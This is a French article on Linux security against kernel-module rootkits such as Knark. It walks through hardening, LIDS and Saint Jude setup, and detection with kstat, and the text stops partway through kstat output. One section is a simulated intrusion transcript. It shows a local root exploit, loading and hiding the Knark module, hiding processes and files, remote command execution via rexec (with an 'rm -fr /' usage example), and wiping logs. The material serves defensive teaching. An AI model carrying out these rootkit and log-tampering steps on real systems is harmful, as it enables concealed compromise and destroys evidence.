La sécurité sous linux est une bien large affaire. Dans cette article nous allons voir comment se protéger de ses simple-utilisateur ainsi que des hackers, et comment parer leur outils en cas de compromission au level root. Nous aborderons une notion fondamentale et pourtant peu connu de la sécurité sous linux, qui est l'utilisation de modules. Nous allons voir comment un simple-utilisateur pourrait prendre le contrôle total de votre machine, en passant root puis en implémentant les nouvelles rootkit dont l'on entend beaucoup parler en ce moment comme Adore ou Knark. J'expliquerai comment à notre tour tirer profit de la puissance des modules en implémentant des techniques qui rendront vaine toutes tentatives de rootkitage du système.
[- Note -]
Une rootkit est un outils dont disposent les pirates pour se
cacher au sein de votre système une fois
compromis et pouvoir effectuer les actions qu'ils veulent de
manière discrète. La rootkit contient
souvent une backdoor ( porte arrière pour revenir sur le
système permettant aux intrus de revenir).
Actuellement il existe deux types de rootkit :
"l'ancienne génération ", qui remplace des
binaires du systèmes pour cacher l'activité de votre pirate.
Elles modifient généralement ps, ls, netstat, du , find,
etc. par des binaires reprogrammes qui
n'affichent pas certains fichiers, certain processus ou
certaine connexion. Puis il y a les rootkits de
la nouvelles génération. Ce sont des modules destiner
à être charger par le kernel linux. La
puissance des modules lorsqu'elle est au profit des
pirate aboutit a des désastres pour les
administrateurs : alors qu'ils ne se passent absolument
rien d'anormal sur leur système (à première
vue), celui ci est sous le contrôle total d'intrus.
Linux est une plate-forme ou il est possible d'atteindre un très haut niveau de sécurité facilement, simplement en configurant sa machine correctement. Il n'y a pas beaucoup de types de failles sous linux, mais celle ci se retrouvent dans un très grand nombre d'applications. Si l'une d'elle est lancée avec un uid 0, alors il est possible pour un intrus de pénétrer votre système en détournant ce programme de sa fonction originale et en lui faisant passer des commandes. Elles sont dû a des négligences de la part des programmeurs, qui ont utiliser des fonctions connues comme créant des vulnérabilités. Nous avons déjà vu quelles sont ces failles dans la série d'article "Éviter les failles de sécurité dès le développement d'une application" de Frederic Raynal, Christian Blaess et Christophe Grenier. Il s'agit généralement de problèmes liés au fait que certaines fonctions vont permettrent aux utilisateurs d'écrire en mémoire, ou même d'y lire. Ainsi un pirate peut réécrire en mémoire des commandes à passer et les faire exécuter par ce programmes, profitant de ses droits/privilèges. Il vous est possible d'éliminer les risques de compromissions dû aux buffer overflow (qui permettent d'écrire en mémoire au-delà des limites du buffer alloué pour la saisie de donnée provenant de l'utilisateur) ou aux bugs de format en installant un patch empêchant d'exécuter du code dans la pile (c'est la que les pirates insèrent le code à exécuter lors de l'exploitation). Parmi les outils les plus utilisés pour prévenir ce genre d'attaque on trouve LibSafe qui un wrapper software qui intercepte les appels de fonctions connus pour être vulnérables aux librairies standards puis y substitue une version correspondante qui va vérifier qu'aucun buffer overflow ne se cache dans la pile et donc empêcher toute tentative d'écriture ou de détournement d'un programme. Il existe agelement des patchs tels que StackGuard qui va protéger l'adresse de retour de pile ou FormatGuard qui va vérifier si le nombre d'argument passé à une fonction printf() correspond aux directives %, ces 2 projets étant intégrés au projet Immunix.
Afin de se protéger, il faut savoir comment les pirates vont procéder. La quasi-totalité des pirates vont se contenter d'aller chercher les exploits (programmes permettant l'exploitation des failles) et de les lancer à l'attaque de vos machines. Si vous possédez une machine inutilisée, je vous conseille de faire de même par exemple pour vous renseigner sur le comportement et la culture de l'intrus ou si vous avez de meilleures compétences pour développer une signature pour un IDS (Intrusion Detection System) tel que Snort ou encore un test d'attaque pour le scanner de vulnérabilité Nessus. Allez sur hack.co.za ou sur darknet.hack.be et aller regarder dans la liste d'exploit correspondant à votre os. Vous détenez maintenant les mêmes armes que vos ennemis. Les exploits se classent en 2 partie : les exploits en remote et ceux en local.
[- Retirer les failles -]
Ceux en local exploitent des failles contenues
dans des binaires suid root sur votre système, il vous suffit de changer la
permission avec : chmod -s binaire.
Pour les exploits en remote, la meilleure chose est de désactiver le service
(éditez /etc/inetd.conf , mettez le service vulnérable en commentaire par un #
devant et relancez inetd par un kill -HUP, ou bien
killez le processus vulnérable et retirez le de /etc/rc.d/rcX.d/ ou X est le
runlevel dans lequel vous démarrez). Il vous suffit de venir voir de temps à
autre si il n'existe pas une nouvel exploit contre votre os. Après avoir fait
cela pour chacune des failles, vos risques d'intrusion sont de 95% réduit ou du
moins allié à une configuration firewall minimale votre système est il a
l'abri des simples script kiddies. Bien souvent il existe des faille au sein
même des processus lancés par default au démarrage, c'est par ce biais que le
vers ramen se propagea sur les machine linux Red Hat 6.2 et 7.0 en exploitant
une faille dans le daemon lpd, ainsi que dans le
daemon ftp. Si il ne vous est pas possible de retirer le service vulnérable,
tentez de l'updater. Je vous conseille d'installer l'un des patchs de de
protéction de pile cités plus haut. Ce type de patch vont extrêmement
compliquer l'exploitation de buffer overflow en empêchant le code destinée à
ouvrir un shell de s'exécuter. De nombreux patch kernel existe qui
s'occupe de patcher ces failles. La modification de sys_symlink ou plus
directement du kernel peut également être une bonne chose - si vous en avez
les compétences, que vous savez ce que vous faites - pour empêcher les
utilisateurs de faire des liens vers des fichiers dont il n'ont pas les droits.
Ces patchs proposent une foule d'actions intéressante, généralement destiner
à rendre ardue une intrusion dans le système au level root et surtout à
protéger certains fichiers ou processus même de son propre admin. Nous verrons
plus loin comment installer un de ces patch (LIDS)
qui implémente la protection et/ou la dissimulation de fichiers et processus
ainsi que d'autres petites choses utiles comme un contrôle d'accès (ACL) ou la
détection de port scan puis nous jugerons de son efficacité.
Maintenant, nous allons voir que fera un pirate
sur votre système, les outils dont il dispose et comment le repérer. Je vais
donc maintenant simuler ce que ferait un pirate et nous allons ensuite voir
comment parer une à une ses méthodes.
Ici je simule un "rootage" en local , mais la manière n'a pas
d'importance. Je vais installer une rootkit sur le système et présenter
quelques une des actions qu'il est possible de réaliser.
[- Simulation d'une intrusion -]
[sauron@localhost sauron]$ ./epcs2
bug exploited successfully.
enjoy!
sh-2.04# whoami
root
sh-2.04# ls -F
knark-0.59/ knark-0.59.tar.gzcleanlog.sh*
sh-2.04# cd knark-0.59
sh-2.04# make
# installation de la rootkit knark.
(...)
sh-2.04# ls
Makefile README ered*
hidef* knark.o modhide.o
nethide* rexec*rootme*src/
sh-2.04# PATH=$PATH:/sbin:/usr/sbin
sh-2.04# insmod knark.o && insmod modhide.o
2&>1 # Ici je charge le module de la rootkit et je le cache grâce a un
seconde module.
sh-2.04# lsmod
# On s'aperçoit ici que la commande lsmod ne laisse pas apparaître le
Module
Size Used
by # module
pourtant charger.
bsd_comp
4080 0 (autoclean)
ppp
20976 0 (autoclean) [ppp_deflate
bsd_comp]
slhc
4544 0 (autoclean) [ppp]
es1371
24656 0
nls_cp437
3952 2 (autoclean)
ide-scsi
7664 0
sh-2.04# cat
/proc/modules
# Le module knark n'apparait pas non plus dans /proc/modules.
Module
Size Used by
bsd_comp
4080 0 (autoclean)
ppp
20976 0 (autoclean) [ppp_deflate
bsd_comp]
slhc
4544 0 (autoclean) [ppp]
es1371
24656 0
nls_cp437
3952 2 (autoclean)
ide-scsi
7664 0
sh-2.04# cat > test-redirection.sh << EOF
# Le rootkit enbarque un outils qui permet de rediriger l'execution de
programme.
> #!/bin/sh
# Ainsi sans modifier le binaire on peut faire executer un autre programme
lorsque
> echo salut
!
# celui ci est appeler. Ici je vais le test avec /bin/ps que je redirige vers un
script shell.
> EOF
# Les anciennes rootkit comme t0rn trojanisaient les binaires du systeme, c'est
sh-2.04# ./ered /bin/ps test-redirection.sh #
pourquoi des outils comme tripwire prennent des empreinte de ces binaires afin
de les
sh-2.04# ps
# détecter lors de comparaison si ils sont détecter. Avec les rootkits par
modules, ce types
salut
!
# d'outils devient inutile. Cependant il peut être bon de laisser tripwire dans
votre cron.
sh-2.04# ./ered
-c
# Ici le message salut ! prouve que l'exécution de ps a été redirigé.
# Heureusement avec ./ered -c on retire toutes les redirections en exécution.
ered.c by Creed @ #hack.se 1999 <creed@sekure.net>
Done. Redirect list
is cleared.
sh-2.04# echo sleep 100 >> test-ps.sh
# Nous allons maintenant essayer de nos processus.
sh-2.04# sh test-ps.sh &
sh-2.04# ps
PID
TTY TIME CMD
2396 pts/0 00:00:00 bash
2410 pts/0 00:00:00 su
2499 pts/0 00:00:00 sh
2540 pts/0 00:00:00 sh
2541 pts/0 00:00:00 sleep
# Notre programme apparaît. Le pid 2541 lui a été attribuer.
2545 pts/0 00:00:00 ps
sh-2.04# kill -31
2541
# A l'envoi d'un signal 31 le processus va devenir invisible grace au module.
sh-2.04# ps
PID
TTY TIME CMD
2396 pts/0 00:00:00 bash
2410 pts/0 00:00:00 su
2499 pts/0 00:00:00 sh
2540 pts/0 00:00:00 sh
2546 pts/0 00:00:00 ps
# En effet il n'apparaît plus.
sh-2.04# kill 2541
[1]+ Terminated
sh test-ps.sh
sh-2.04# ./rexec
# Une autre option effrayante est l'execution a distance via des host spoofés
# a travers les trames ICMP echo reply ( ping ) ! Cela permet d'exécuter des
rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>
# en root a distance sur votre système sans etre logez et en passant le
firewall !!
Usage:
./rexec <src_addr> <dst_addr> <command> [args ...]
ex: ./rexec www.microsoft.com 192.168.1.77 /bin/rm -fr /
sh-2.04# ./rexec localhost localhost touch /tmp/Blah
# Essayons de passer une commande...
rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>
Done. exec "touch /tmp/Blah"
requested on localhost from localhost
sh-2.04# ls -lga /tmp | grep Blah
# Très efficace et surtout imparable !
-rw-r--r-- 1 root
root 0 Jun
7 01:40 Blah
sh-2.04# pwd
/home/sauron/knark-0.59
sh-2.04# ./hidef `pwd`
# hidef propose de cacher fichier et répertoire.
sh-2.04# cd ..
sh-2.04# ls
knark-0.59.tar.gz cleanlog.sh*
# En effet le répertoire n'apparaît pas.
sh-2.04# rmmod knark
rmmod: module knark is not loaded
# Le module ne peut pas être retirer !
sh-2.04# sh cleanlog.sh <hostname_domainam_ipHacker> 2&>1
& # Pour achever le pirate enlève les traces de sa visite.
sh-2.04# sh .lastlogcleaner.sh -user sauron
&
# "who" n'affichera plus l'utilsateur
sauron.
sh-2.04# vi /etc/syslog.conf
sh-2.04# kill -SIGHUP `cat /var/run/syslogd.pid`
# Le pirate ajuste le logging a son gout sans changer le pid de syslog !
sh-2.04# vi /root/.bash_history
# l'exploration de votre système et de vos habitude peut commencer pour lui.
La démonstration est courte mais elle est
parlante. Une fois le système compromis il est désormais possible à un pirate
de cacher toute ses activités et de backdoorer votre système d'une manière
très efficace. Puisqu'il peut passer des commandes sur votre système de
manière non détectable, rien ne l'empêche de lancer un sshd
-d -p 1337 afin d'ouvrir une session ssh pour une
seule connexion. Il est probable que le système est été modifié pour ne plus
loger ses activités :-/
Nous allons voir comment mettre la puissance des modules kernel de notre côté
et comment parer ce type d'attaque. Le but étant de ne pas le laisser devenir
root, et même si c'est le cas, ne pas le laisser activer une rootkit.
Le seul moyen de détecter ce pirate, serait de réduire à néant l'effet de knark, puis de lister les terminaux ouverts en regardant quelle uid est attribuée. Si un shell est lancé sous un nom d'utilisateur qui n'apparaît pas avec la commande who, alors cela signifie que lastlog a été nettoyé. Par ailleurs la présence d'un /bin/sh en root vous avertira !
Afin qu'aucun pirate ne fasse la même chose chez vous, il vous faut comprendre comment marche les rootkits modules. Les rootkits modules une fois chargés vont aller modifier la table des appels système et faire pointer certains syscall vers de nouvelles fonctions implémentées. Ces syscall sont par exemple sys_read pour empêcher de voir certaines chaînes de caractères dans un fichier (un utilisateur supplémentaire dans /etc/passwd par exemple), sys_getuid pour donner des droits root à un utilisateur qui ne l'est pas, etc. Vous aurez compris que l'on peut détourner ces fonctions directement liées au kernel, qui vont influer sur tous les binaires du système qui les appelleront, sans que l'on ait à les modifier. Cela permet donc de contourner tout les outils de sécurité qui se contentent de faire une empreinte du filesystem comme Tripwire ou AIDE.
[- Empêcher les outils des pirates de fonctionner -]
Afin d'éviter que des modules de rootkit soit
efficace, j'ai programmé un module qui va créer un nouvel appel système.
Celui ci lorsqu'on l'appelle remet la sys_call_table dans l'état ou il l'a
trouver lorsqu'il a été chargée de la même manière qu'un système de
fichiers journalisé le ferait pour des données ;). En l'insérant a un moment
ou le système est sain, vous vous assurez une parade efficace contre les
rootkit comme knark, adore, etc. Si en plus vous ajoutez le programme appelant
le syscall dans vos scripts cron, alors vous n'avez plus redouter les rootkits
ou du moins les détournements de syscall.
Un pirate pourrait parer cette protection de 2 manière : en rechargeant un
module qui modifierai le syscall ajouté (ce qui nécessiterai que votre pirate
maîtrise la programmation de modules kernel, vous n'avez donc pas affaire à un
débutant), c'est pour cela que je vous conseille de choisir un numéro à la
compilation. Le pirate pourrait, après avoir recharger un module, modifier en
exécution le programme qui est dans vos scripts cron et qui appelle mon module.
Je pense que la meilleur méthode pour empêcher un pirate de charger son module
est de rediriger l'exécution de /sbin/insmod vers un binaire qui sera identique
mais qui fera appel à mon module immédiatement après. De cette manière, à
chaque fois qu'un module est chargé, la sys_call_table sera remise en état au
cas où il s'agirait d'un module backdoor. Votre pirate aura beau compiler et
insérer son module rien ne se passera.
Les rootkit des pirates trimballent avec elles quelques outils tout à fait intéressants. Je pense par exemple à la redirection en exécution de fichier. Cela peut offrir une bonne parade à des rootkit comme t0rn qui se contente de modifier les binaires systèmes par des binaires backdoorisées. Voila ce que je propose : créer un répertoire et y placer une copie des binaires que des rootkit sont susceptibles de modifier (ls, ps, du, netstat, find, etc.). Maintenant rediriger /bin/ps sur /root/backup/ps, /bin/ls sur /root/backup/ls et ainsi de suite pour tout les binaires que vous avez choisis de sauvegarder. En faisant ca, les rootkit comme t0rn qui remplaceront vos binaires n'auront aucun effet puisqu'en réalité ils ne seront jamais exécuter. Le module pour la redirection de sortie est disponible avec knark, il est nommer rexec.c. Knark ainsi qu'une large collection de backdoors et rootkits sont disponibles sur OUAH.
Vous pouvez aussi allez vous même volontairement modifier des syscall via un module. Cela peut être intéressant pour patcher sys_symlink, pour vérifier qu'aucun fichier root n'est en train d'être linker par un simple utilisateur, auquel cas il faut l'interdire. Cela aura pour effet de réduire à néant les chances d'exploiter une faille dûe à la création prévisible d'un fichier par un processus root :-) ( Pour l'exploiter il suffit à un simple utilisateur de linker un fichier root avec un fichier inexistant qui sera écrit par un processus root, pour profiter des droit root du processus qui écrira son fichier et écrasera celui vers lequel le lien a été créé. cela permet par exemple d'effacer la configuration de TCP Wrapper dans /etc/hosts.deny. Une chose qui est certaine, c'est que le pirate essayera d'effacer son IP des log. Pour ce faire, il utilisera un programme qui s'occupera de la rechercher et d'effacer les lignes citant son IP dans les fichiers /var/log. Bien souvent, modifier la configuration de syslogd dans /etc/syslogd.conf suffit à empêcher votre pirate d'effacer ses logs. Je pense que un loger supplémentaire en plus de syslogd n'est pas de trop. Cachez celui-ci par un module ou bien donnez lui un nom anodin (i.e : lpd) pour ne pas que le pirate se mefie et cherche à retirer son IP de ces fichiers logs ci également. Il restera l'éventualité que le pirate recherche son IP sur l'ensemble du système mais il y perdrait en efficacité. Enfin, gardez le duo libpcap/tcpdump sous la main, et lancez le en cas de doute, il n'y a pas de meilleur loger :-)
Je pense qu'un firewall n'est pas de trop, ne serait-ce que pour empêcher n'importe qui de scanner votre réseau. Et si vous êtes paranoïaque, vous pouvez même installer scanlogd, une alternative à syslogd qui utilise les avantages de libpcap et libnids afin de détecter des scan furtifs puis de tout enregistrer. Dans un style similaire on trouve Port Sentry, partie intégrante du projet Abacus qui permet de repérer et de stopper toutes tentatives de scanning et ce de manière automatisée. Je vous conseille vivement d'opter pour OpenSSH si vous utilisez telnet. Pour des besoins plus personnalisés, je vous conseille d'utiliser Stunnel qui vous permet d'établir des connexions basée sur du tunneling SSL similaire à OpenSSL :-). Faite un man ipchains pour en savoir plus sur la mise en place d'un firewall ou si vous êtes en 2.4.* man netfilter pour profiter des dernières progrès en firewall comme le statefull. Tout ceci représente un temps d'administration et de configuration relativement important mais ce sera autant de données ou de machines non compromises ou de procédures judiciaires ou techniques en moins dans l'avenir.
Le choix du supports des logs est très
important. Si vous loggez tout dans /var/log comme configurer par default, vous
pouvez être certain qu'un utilisateur une fois root corrompra ces logs. Pour
vous assurer que vos logs contiennent bien toutes les activité qu'il se doit
d'enregistrer, je vous conseille de tout enregistrer sur une machine distante.
Seul le processus actif aura permission d'accès en écriture et uniquement lui,
pas même le root. Votre pirate ne pourra ainsi pas effacer totalement ses
traces des logs, et cela le dissuadera d'entreprendre toute action néfaste à
votre encontre. Vous pouvez également les faire imprimer cependant attention à
la quantité énorme de log qui est chaque jour enregistrée par une machine de
production ou pire un serveur. Si vous voulez gagner de la place dans vos logs,
je vous conseille d'associer ipchains à un détecteur de scan.
/sbin/ipchains -I input -s <IpPirates> -j DENY -l vous
permettra d'empêcher le pirate de mener à bout son attaque après vous avoir
scanné (également applicable avec l'utilisation de Port Sentry cité plus
haut).
[- Ne pas donner d'information à l'attaquant -]
Les modules peuvent nous rendre bien des services dans le domaine de la sécurité, par exemple il existe des modules qui vont modifier le comportement de votre pile TCP/IP et qui vont ainsi vous protéger du TCP fingerprinting (détection distante de l'OS par prise d'empreinte en fonction du comportement de la pile tcp/ip - c'est l'option -O du fameux nmap). Votre machine passerait donc par exemple pour une machine Windows au yeux de nmap. Attention cependant aux modifications qui peuvent entraîner de nouvelles vulnérabilités notamment sur les numéros de séquence et leur générations. Actuellement les backdoors distribuées avec les nouvelles rootkits sont des modules permettant des commandes distantes de manière discrète (utilisation de covert channel), mais il est courant que des pirates "bind" un shell sur un port, c'est-à-dire redirige les flux d'entrée/sortie d'un shell sur un port ouvert pour l'occasion. Dans ce cas n'importe qui se connectant sur ce port peut se retrouver avec un shell root sur votre machine. Un simple ps -aux avec un port scanning de votre réseau vous fixera. Je vous conseille également de modifier /etc/issue, /etc/issue.net et les messages d'invite des services que vous utilisez en général.
[- Quelques mots sur Saint Jude et LIDS -]
Dans cette section, je vais principalement
parler de 2 choses : le patch kernel LIDS et ses fonctionnalités et le
module/patch Saint Jude.
Les 2 associés peuvent fournir une méthode efficace pour vous protéger
des intrusions. Saint Jude est un module linux qui va empêcher toute tentative
de rootage. Saint Jude ne fait pas appel à une banque de donnée de signatures
d'intrusion et est donc en mesure de détecter toute tentative de compromission
de votre système sans qu'il soit nécessaire de mettre quoi que ce soit à
jour. Les tentatives de rootage, que ce soit en local ou en remote seront
détectée. Saint Jude va en pratique aller modifier les syscall de la même
manière que procéderait un module backdoor mais pour sécuriser le kernel
cette fois. Voici la liste des syscall qu'il modifie :
- sys_clone
- sys_execve
- sys_exit
- sys_fork
- sys_setreuid
- sys_setuid
Saint Jude inclut également un module de redirection d'exécution comme décrit
plus haut :)
Il offre quelques fonctionnalités bien sympathiques comme le fait de pouvoir
afficher un message au pirate qui tenterai de compromettre votre système (
"stop to hack my system - the sysadmin " par default ;). Je ne vais
pas m'étendre sur Saint Jude mais il est particulièrement efficace et je le
recommande à tout administrateur.
LIDS quand à lui permet de protéger des
fichiers ou des processus de votre système même du root qui normalement a un
accès total au système. En associant LIDS pour qu'il protége le module de
Saint Jude, vous vous assurez une efficace protection. Le code source de Saint
Jude est particulièrement intéressant si les modules kernel Linux vous
intéressent, de plus il fonctionne sur quasiment tout
les noyaux linux actuellement disponibles. N'oubliez pas d'installer le patch
fourni avec Saint Jude (il modifie uniquement /usr/src/linux/kernel/ksyms.c)
cela vous évitera de recompiler par 2 fois votre noyau (car LIDS nécessite
également la recompilation du kernel).
LIDS est un système de détection d'intrusion
et de prévention qui réside directement dans le kernel linux. LIDS va
prévenir toute modification des fichiers se trouvant dans sa configuration et
qualifiés comme "sensibles" et autoriser les accès uniquement en
lecture. LIDS inclue d'autre protections outre celle des fichiers, comme par
exemple la protection contre les accès directs en mémoire ou contre les accès
raw disk. LIDS va aussi empêcher l'installation d'un sniffer ou encore la
modification des règles du firewall. Il propose de générer un password
crypté avec RipeMD-160 et qui sera ensuite installer dans le kernel.
L'installation de LIDS est extrêmement simple et ce fait sans aucun problème :
./lidsad -P va d'abord vous permettre de générer
un password. Puis il vous faut compiler le fichier de configuration standard
pour votre architecture dans /usr/src/linux. Le patch s'installe comme suit :
cd /usr/src
patch -p0
</root/IDS/lids-0.9/lids-0.9-2.2.14-redhat.patch
LIDS contient pas mal de driver updatés, à en juger par la quantité de sources du kernel qu'il va modifier :) Finalement, j'ai configuré, compilé et installé le kernel :
cd /usr/src/linux
make
menuconfig
make dep;
make clean
make
install; make
modules; make modules_install
Voila le menu que LIDS a ajouté et que vous verrez désormais dans la configuration du kernel :
[*] Linux Intrusion Detection System support (EXPERIMENTAL)
--- LIDS
features
[ ] Hang up
console when raising a securit alert
[*] Security
alert when execing unprotected programs before sealing
[ ] Do not
execute unprotected programs before sealing LIDS
[*] Enable
init children lock feature
[*] Try not
to flood logs
(60)
Authorised time between two identic logs (seconds)
[*] Allow
switching LIDS protections
RipeMD-160
encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
(3) Number of
attempts to submit password
(3) Time to
wait after a fail (seconds)
[*] Allow
remote users to switch LIDS protections
[ ] Allow any
program to switch LIDS protections
[*] Allow
reloading config. file
[ ] Hide some
known processes
[*] Port
Scanner Detector in kernel
[ ] Send
security alerts through network
--- Special
authorizations
[ ] Allow
some known processes to access /dev/mem (xfree, etc.)
[ ] Allow
some known processes to access raw disk devices
[ ] Allow
some known processes to access io ports
[ ] Allow
some known processes to change routes
--- Special
UPS
[*] Allow
some known processes to unmount devices
Allowed
processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
[*]
Unmounting capability is inherited
[*] Allow
some known processes to kill init children
Allowed
processes: "/etc/rc.d/init.d/halt"
[*] Killing
capability is inherited
Avec un make menuconfig, ou make xconfig tout est plus clair :) Regardez les options et activez celle qui vous intéresse. Vous n'avez plus qu'a updater le kernel (/etc/lilo.conf puis rebootez). Voila votre kernel est désormais patché !
Attention ! :
Après avoir installé LIDS, vous devez le configurer avant le prochain
rebootage ! LIDS stocke sa configuration dans /etc/lids.conf. Ce fichier ne
devant jamais être édité pour des raisons évidentes, vous devez utilisez le
programme
lidsadm. ./lidsadm -h vous renseignera sur les
option de LIDS. Il m' a été nécessaire de modifier un tout petit peu la
source de lidsadm.c pour le compiler :
[root@localhost lidsadm-0.9]# make
gcc -static -O2 -o lidsadm lidsadm.o rmd160.o sig_rmd160.o read_pw.o
lidsadm.o: In function `lids_update':
lidsadm.o(.text+0xd25): undefined reference to `MINOR'
lidsadm.o(.text+0xd35): undefined reference to `MAJOR'
lidsadm.o(.text+0xd4f): undefined reference to `MINOR'
lidsadm.o(.text+0xd62): undefined reference to `MAJOR'
[root@localhost lidsadm-0.9]# vi lidsadm.c
[root@localhost lidsadm-0.9]# make
gcc -O2 -c -o lidsadm.o lidsadm.c
gcc -static -O2 -o lidsadm lidsadm.o rmd160.o sig_rmd160.o read_pw.o
[root@localhost lidsadm-0.9]#
Voici un exemple :
lidsadm -A -r /sbin # Désormais le répertoire /Sbin est protégé en écriture :)
Je vous recommande de protéger vos pages d'accueil - si vous stockez des pages web bien sûr - de la même manière, et pourquoi pas vos binaires système :
lidsadm -Z
lidsadm -A -r
/usr/bin
lidsadm -A -r
/bin
lidsadm -A -r
/usr/sbin
lidsadm -A -r
/sbin
lidsadm -A -r
/usr/X11R6/bin
lidsadm -A -r
/etc/rc.d
# Important pour ne pas activer de backdoor au demarrage !
lidsadm -A -r
/etc/sysconfig
lidsadm -A -r
/lib/modules/"kernel_version" # pour ne pas activer de module rootkit
au demarrage
# Mais pensez a y placer le mien avant d'appeler lidsadm !
Voila la commande pour activer LIDS dans le kernel. Vous pouvez ajouter des options et je vous recommende fortement de le faire pour atteindre un niveau de sécurité optimale. Vous ne devriez pas le lancer simplement dans rc.local comme il est conseillé avec LIDS.
/sbin/lidsadm
-I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN \
-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE \
+INIT_CHILDREN_LOCK
Et voila ! Je vous laisse paramètrer LIDS comme bon vous semble ! Maintenant voyons si il est réellement efficace :
[- Récapitulons les principales démarches à suivre pour ne pas craindre les pirates -]
1- Identifiez et
désactivez les services vulnérables, et retirez les droits root en exécution
aux binaires du système dont vous savez qu'elles sont vulnérables (attention
la glibc comporte également des failles et il peut être nécessaire de l'updater).
Ne laissez tourner sur votre machine QUE les services dont vous avez besoin et
ceux là correctement patchés.
2- Insérez mon module en mémoire et mettez le
programme qui y fait appelle dans vos scripts cron (ou pensez à le lancer de
temps à autres).
3- Faites une copie de vos binaires système
susceptibles d'être modifiés, et redirigez l'exécution des originaux vers
l'endroit ou vous stockerez ceux-ci.
4- Changer le répertoire et fichier de log de
syslogd dans /etc/syslogd.conf
5- Faites effectuer à cron une vérification à la
recherche de nouveau fichier root dans le répertoire /home de vos utilisateurs
simples.
6- Optionnellement, installez un détecteur de
scanner comme PortSentry
ou encore un sniffer tel que Ethereal comme
alternative ou complément à syslogd.
7- Optionnellement, installez un Network IDS
(Intrusion detection System) comme Snort ne
peut pas faire de mal. Et à l'avenir gardez un oeil sur Trithème
;)
8- Ajoutez un script à cron qui s'occupera de la
fastidieuse analyse des fichiers de log à votre place pour y détecter des
empreintes typique d'intrusion (certain scan peuvent aussi être détecter
grâce à syslog, mais ce n'est pas le cas de tout les scans furtifs). Ce type
d'outils est téléchargeable un peu partout (jetez un oeil sur LogReport).
9- Pourquoi ne pas remplacer votre telnet par un
sshd ou votre http par un https ? Ces protocoles sont connus et supportés très
largement et il vous protège de bien des attaques. Si un sniffer est installé
sur votre réseau, seul un hacker expérimenté pourra continuer à sniffer les
connexions crypter via ssh par des attaques man-in-the-middle par exemple. Et
pour le service https, celui ci est vital si vous utilisez des CGI sur un
serveur web. Il limitera la possibilité de faire des scans de CGI (des outils
plus évolués existent cependant mais sont peu diffusés).
10- Vérifiez que les processus avec lesquels des
pirates potentiels peuvent interagir ne tournent pas en root ! Si c'est le cas
et que ce n'est pas une nécessité passez les en nobody.
11- Ne pas laissez filtrer d'information sur votre
machine est important. Modifiez /etc/issue et /etc/issue.net ainsi que les
messages d'invite des services réseaux que vous fournissez. Et veillez à ne
pas laisser de service tels que finger ou rpcinfo et leurs acolytes à la
disposition de tous.
12- Installez un patch de sécurité kernel comme
LIDS, recompilez le kernel et rebootez. Puis configurez LIDS pour protéger vos
fichiers sensibles et/ou vos outils de sécurité afin de s'assurer de leur
efficacité et de leur intégrité:)
En respectant ces 12 commandements, vous vous mettez à l'abri d'office de nombreuses attaques. Les pirates ou crashers étant des prédateurs préférant les cibles faciles afin de l'utiliser comme passerelle ou shell.
Pensez à tapez la commande lastlog de temps à
autres, si un utilisateur apparaît ne s'être jamais logué alors que ce n'est
pas le cas, c'est la preuve que votre système et probablement le compte
incriminé sont compromis car la plupart des lastlog-cleaner effacent toute les
entrées, ou juste l'entrée utilisateur. Rares sont ceux qui vont simplement
modifier les données, ce qui serait pourtant plus discret.
Si vous avez à administrer un réseau, je vous conseille de le scannez à la
recherche de sniffer par détection du bit PROMISC
avec AntiSniff par
exemple (bien qu'il existe là encore des contres comme Obscura
de S0ftpj) ou par des techniques de scanning DNS, ARP et ICMP comme le pratique Sentinel.
Scannez le également avec nmap, pour
2 raisons : il est important de savoir qu'elle information un hacker tirera de
votre système grâce à des outils très répandus comme nmap, et afin de
détecter si vous n'auriez pas déjà été compromis et qu'une backdoor n'est
pas active sur un port !
De plus faites un scan de votre réseau avec Nessus,
afin de vous rendre compte de la vulnérabilité de vos machines et de les
patcher au plus vite. Si il s'agit d'une faille de type buffer overflow et que
le patch LIDS est installé il n'est toutefois pas indispensable de stopper le
service vulnérable.
[- Comment détecter que vous avez été rooté et qu'une rootkit de nouvelle génération est présente -]
Une petite astuce afin de vérifier que vos
utilisateurs simples ne s'amusent pas à vous rooter, est de faire un
find -user root /home et vérifier que de nouveaux fichiers root ne sont
pas apparus d'une fois sur l'autre. Si c'est le cas et que vous arrivez à
trouver un fichier de l'intrus, faites une nouvelle recherche avec find en
précisant le timestamp du fichier trouvé. Si votre pirate n'a pas utilisé la
commande touch pour changer le timestamp de chacun de ses fichiers, vous devriez
vite retrouver les autres.
Supposons que rien n'est visible par lsmod et que l'attaquant est en mesure de
se cacher totalement... mais rassurez vous, nous avons aussi de bons outils. En
utilisant kstat, programmé
par FuSyS de S0ftpj, une security team italienne, nous sommes en mesure de
voir les modules chargé et dissimulés. En effet kstat va chercher ses
informations sans passer par les syscall mais par /dev/kmem.
Ainsi la rootkit n'est plus efficace. Sachez qu'il est possible de patcher /dev/kmem,
méthode inventée par Silvio
Cesare et dont nous ne traiteront pas ici. (les rootkit actuelles ne
l'implémentent pas et vous ne devriez pas rencontrer de problème de ce type
avant la prochaine génération de lkm). kstat propose nombre de
fonctionnalités intéressantes comme la liste des processus actif, la liste des
syscall et l'adresse à laquelle ils sont (ou devraient être), etc.
voyons :
sh-2.04# ./kstat
Usage: ./kstat [-i iff] [-P] [-p pid] [-M] [-m addr] [-s]
-i iff may be specified as 'all' or as name
(e.g. eth0)
displays info about the queried interface
-P displays all processes
-p pid is the process id of the queried task
-M displays the kernel's LKMs' linked list
-m addr is the hex address of the queried
module
displays info about the module to be found at addr
-s displays info about the system calls' table
sh-2.04# ./kstat -s | grep WARNING
sys_fork
0xc4d65578 WARNING! Should be at 0xc0108fb0
sys_read
0xc4d65874 WARNING! Should be at 0xc0126bc4
# Permet de cacher des portions de fichiers
sys_execve
0xc4d65c08 WARNING! Should be at 0xc010901c
# Redirection d'execution
sys_kill
0xc4d65640 WARNING! Should be at 0xc0111068
# Permet d'ajouter un flag dans la task structure
sys_ioctl
0xc4d656bc WARNING! Should be at 0xc0130c60
# pour cacher les processus. sys_ioctl permet lui de
sys_settimeofday
0xc4d65ac4 WARNING! Should be at 0xc0118e88
# cacher fichiers et repertoire.
sys_clone
